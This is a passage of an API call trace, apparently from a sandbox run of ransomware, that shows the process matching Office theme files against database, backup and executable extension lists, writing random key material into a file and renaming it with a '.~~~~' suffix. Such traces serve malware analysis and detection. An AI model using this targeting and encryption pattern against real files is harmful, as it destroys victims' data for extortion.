	[0086.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".NDF") returned 0x0
	[0086.215] lstrlenW (lpString=".dat") returned 4
	[0086.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".dat") returned 0x0
	[0086.215] lstrlenW (lpString=".DBS") returned 4
	[0086.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".DBS") returned 0x0
	[0086.216] lstrlenW (lpString=".CKP") returned 4
	[0086.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".CKP") returned 0x0
	[0086.216] lstrlenW (lpString=".edb") returned 4
	[0086.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".edb") returned 0x0
	[0086.216] lstrlenW (lpString=".PST") returned 4
	[0086.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".PST") returned 0x0
	[0086.216] lstrlenW (lpString=".dbf") returned 4
	[0086.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".dbf") returned 0x0
	[0086.216] lstrlenW (lpString=".SQL") returned 4
	[0086.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".SQL") returned 0x0
	[0086.216] lstrlenW (lpString=".pst") returned 4
	[0086.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".pst") returned 0x0
	[0086.216] lstrlenW (lpString=".dbv") returned 4
	[0086.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".dbv") returned 0x0
	[0086.216] lstrlenW (lpString=".SDF") returned 4
	[0086.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".SDF") returned 0x0
	[0086.216] lstrlenW (lpString=".dtxs") returned 5
	[0086.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".dtxs") returned 0x0
	[0086.216] lstrlenW (lpString=".db3") returned 4
	[0086.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".db3") returned 0x0
	[0086.216] lstrlenW (lpString=".OST") returned 4
	[0086.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".OST") returned 0x0
	[0086.217] lstrlenW (lpString=".dbx") returned 4
	[0086.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".dbx") returned 0x0
	[0086.218] lstrlenW (lpString=".DB3") returned 4
	[0086.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".DB3") returned 0x0
	[0086.218] lstrlenW (lpString=".DAT") returned 4
	[0086.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".DAT") returned 0x0
	[0086.218] lstrlenW (lpString=".VHDX") returned 5
	[0086.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".VHDX") returned 0x0
	[0086.218] lstrlenW (lpString=".ndf") returned 4
	[0086.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".ndf") returned 0x0
	[0086.218] lstrlenW (lpString=".DB") returned 3
	[0086.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".DB") returned 0x0
	[0086.218] lstrlenW (lpString=".sql") returned 4
	[0086.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".sql") returned 0x0
	[0086.218] lstrlenW (lpString=".MYD") returned 4
	[0086.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".MYD") returned 0x0
	[0086.218] lstrlenW (lpString=".DBT") returned 4
	[0086.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".DBT") returned 0x0
	[0086.218] lstrlenW (lpString=".ACCDB") returned 6
	[0086.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".ACCDB") returned 0x0
	[0086.218] lstrlenW (lpString=".fdb") returned 4
	[0086.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".fdb") returned 0x0
	[0086.218] lstrlenW (lpString=".bak") returned 4
	[0086.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".bak") returned 0x0
	[0086.218] lstrlenW (lpString=".myd") returned 4
	[0086.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".myd") returned 0x0
	[0086.218] lstrlenW (lpString=".DTXS") returned 5
	[0086.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".DTXS") returned 0x0
	[0086.219] lstrlenW (lpString=".ckp") returned 4
	[0086.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".ckp") returned 0x0
	[0086.219] lstrlenW (lpString=".dbt") returned 4
	[0086.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".dbt") returned 0x0
	[0086.219] lstrlenW (lpString=".db") returned 3
	[0086.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".db") returned 0x0
	[0086.219] lstrlenW (lpString=".TXT") returned 4
	[0086.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".TXT") returned 0x0
	[0086.219] lstrlenW (lpString=".MDF") returned 4
	[0086.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".MDF") returned 0x0
	[0086.219] lstrlenW (lpString=".bdb") returned 4
	[0086.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".bdb") returned 0x0
	[0086.219] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0086.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.219] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.220] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.220] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0086.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0086.220] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20621053982) returned 1
	[0086.220] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d3285b0, dwHighDateTime=0x1d60e1e)) 
	[0086.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0086.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0086.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0086.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6b20
	[0086.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6b20 | out: hHeap=0x300000) returned 1
	[0086.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4658
	[0086.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4658 | out: hHeap=0x300000) returned 1
	[0086.221] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.221] GetLastError () returned 0x0
	[0086.221] GetLastError () returned 0x0
	[0086.222] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.222] GetLastError () returned 0x0
	[0086.222] GetLastError () returned 0x0
	[0086.224] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff2a61, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.225] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0xd59f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0xd59f, lpOverlapped=0x0) returned 1
	[0086.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.225] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.225] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.225] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.225] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.225] CloseHandle (hObject=0x120) returned 1
	[0086.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0086.226] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.~~~~")) returned 1
	[0086.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0086.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0086.227] GetLastError () returned 0x0
	[0086.227] RtlWakeConditionVariable () returned 0x365f70
	[0086.227] GetCurrentThreadId () returned 0x9cc
	[0086.227] GetCurrentThreadId () returned 0x9cc
	[0086.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baaf0
	[0086.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baf88 | out: hHeap=0x300000) returned 1
	[0086.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ab0 | out: hHeap=0x300000) returned 1
	[0086.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baf88
	[0086.227] lstrlenW (lpString=".scr") returned 4
	[0086.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0086.227] lstrlenW (lpString=".cmd") returned 4
	[0086.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0086.227] lstrlenW (lpString=".dll") returned 4
	[0086.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0086.227] lstrlenW (lpString=".bat") returned 4
	[0086.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0086.227] lstrlenW (lpString=".cpl") returned 4
	[0086.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0086.227] lstrlenW (lpString=".sys") returned 4
	[0086.227] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0086.228] lstrlenW (lpString=".msc") returned 4
	[0086.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0086.228] lstrlenW (lpString=".com") returned 4
	[0086.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0086.228] lstrlenW (lpString=".lnk") returned 4
	[0086.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0086.228] lstrlenW (lpString=".msp") returned 4
	[0086.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0086.228] lstrlenW (lpString=".pif") returned 4
	[0086.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0086.228] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.228] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0086.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0086.229] lstrlenW (lpString=".sqb") returned 4
	[0086.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0086.229] lstrlenW (lpString=".ost") returned 4
	[0086.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0086.229] lstrlenW (lpString=".txt") returned 4
	[0086.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0086.229] lstrlenW (lpString=".mdt") returned 4
	[0086.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0086.229] lstrlenW (lpString=".BDB") returned 4
	[0086.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0086.229] lstrlenW (lpString=".eql") returned 4
	[0086.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0086.229] lstrlenW (lpString=".DBF") returned 4
	[0086.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0086.229] lstrlenW (lpString=".EQL") returned 4
	[0086.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0086.229] lstrlenW (lpString=".FDB") returned 4
	[0086.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0086.229] lstrlenW (lpString=".EDB") returned 4
	[0086.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0086.229] lstrlenW (lpString=".DACPAC") returned 7
	[0086.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0086.254] lstrlenW (lpString=".VHD") returned 4
	[0086.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0086.254] lstrlenW (lpString=".DBV") returned 4
	[0086.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0086.269] lstrlenW (lpString=".dacpac") returned 7
	[0086.269] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0086.269] lstrlenW (lpString=".sdf") returned 4
	[0086.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0086.277] lstrlenW (lpString=".accdb") returned 6
	[0086.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0086.277] lstrlenW (lpString=".DBX") returned 4
	[0086.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0086.277] lstrlenW (lpString=".MDT") returned 4
	[0086.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0086.277] lstrlenW (lpString=".SQB") returned 4
	[0086.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0086.277] lstrlenW (lpString=".vhd") returned 4
	[0086.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0086.277] lstrlenW (lpString=".bac") returned 4
	[0086.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0086.277] lstrlenW (lpString=".mdf") returned 4
	[0086.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0086.277] lstrlenW (lpString=".BAK") returned 4
	[0086.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0086.277] lstrlenW (lpString=".BAC") returned 4
	[0086.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0086.277] lstrlenW (lpString=".dbs") returned 4
	[0086.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0086.277] lstrlenW (lpString=".vhdx") returned 5
	[0086.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0086.277] lstrlenW (lpString=".NDF") returned 4
	[0086.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0086.277] lstrlenW (lpString=".dat") returned 4
	[0086.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0086.278] lstrlenW (lpString=".DBS") returned 4
	[0086.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0086.278] lstrlenW (lpString=".CKP") returned 4
	[0086.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0086.278] lstrlenW (lpString=".edb") returned 4
	[0086.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0086.278] lstrlenW (lpString=".PST") returned 4
	[0086.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0086.278] lstrlenW (lpString=".dbf") returned 4
	[0086.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0086.278] lstrlenW (lpString=".SQL") returned 4
	[0086.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0086.278] lstrlenW (lpString=".pst") returned 4
	[0086.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0086.278] lstrlenW (lpString=".dbv") returned 4
	[0086.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0086.278] lstrlenW (lpString=".SDF") returned 4
	[0086.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0086.278] lstrlenW (lpString=".dtxs") returned 5
	[0086.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0086.278] lstrlenW (lpString=".db3") returned 4
	[0086.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0086.278] lstrlenW (lpString=".OST") returned 4
	[0086.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0086.279] lstrlenW (lpString=".dbx") returned 4
	[0086.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0086.279] lstrlenW (lpString=".DB3") returned 4
	[0086.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0086.279] lstrlenW (lpString=".DAT") returned 4
	[0086.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0086.279] lstrlenW (lpString=".VHDX") returned 5
	[0086.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0086.279] lstrlenW (lpString=".ndf") returned 4
	[0086.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
